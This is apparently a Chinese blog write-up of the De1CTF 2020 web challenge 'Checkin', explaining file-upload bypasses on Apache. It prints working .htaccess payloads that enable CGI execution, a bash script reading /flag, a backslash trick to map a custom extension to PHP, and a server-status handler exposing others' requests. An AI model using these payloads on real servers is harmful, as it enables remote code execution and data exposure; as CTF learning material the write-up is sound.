De1CTF2020--WEB--Checkin的思路总结

在5.1假期间打了一个DE1CTF,自闭了,菜鸡虽然没打出来几道题,但是有些题有思路还是写一下,记录一下

果然我还是太菜了啊!

 

0X01 考点

1. .htaccess文件利用(扩展:去年的susctf考察了user.ini利用、17 XMAN选拔赛的upload)

2. Linux环境下 htaccess对cgi的利用

3.文件上传绕过:

(1)MIME(bp 包里面的content-type字段)检验

(2)后缀黑名单

(3)文件内容校验

 

 

0x02 解题过程

预期解

 

利用条件是:

1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体作用可参考Apache之AllowOverride参数详解。(Require all granted也是需要的)

2.cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释。

3.有目录的上传、写入权限。

利用姿势:

先上传.htaccess,然后利用cgi启动方式利用rce

.htaccess文件:

Options ExecCGI
AddHandler cgi-script .xx

 

接着上传 1.xx文件

#!
/bin/bash
 echo
Content-type:
text/html
 echo
""

 cat
/flag

本菜鸡最后死在1.xx的最后一句,菜鸡一直在想着如何弹shell,最后一直都没有,wtcl!

 

当然还踩过的坑是,linux的cgi比较严格,上传之后状态码是500,无法解析bash文件,后面用Linux写,再导出就ok

 

0x03 其他师傅的非预期解:

一、利用  “\” 进行换行

.htaccess文件

AddType
application/x-httpd-p\
hp
.xx

1.xx

当时和队友也探讨过“\”绕过,但是想到之前考过就觉得应该不会这么简单,果断放手了

(小小的脑袋里装有大大的问号)

 

二、利用Apache的服务器状态信息(默认关闭)

.htaccess文件:

SetHandler
server-status

上传文件后,就可以发现自己访问的目录就是Apache的服务器的状态信息,可以看别人的访问记录,接着白嫖.jpg

 

0x04 总结

还是看题看少了,还有就是多尝试!

菜鸡还是太菜了啊!要加油鸭!

 

 

参考:

DE1CTF官方WP

https://www.freebuf.com/vuls/218495.html

 

你可能感兴趣的:(De1CTF2020--WEB--Checkin的思路总结)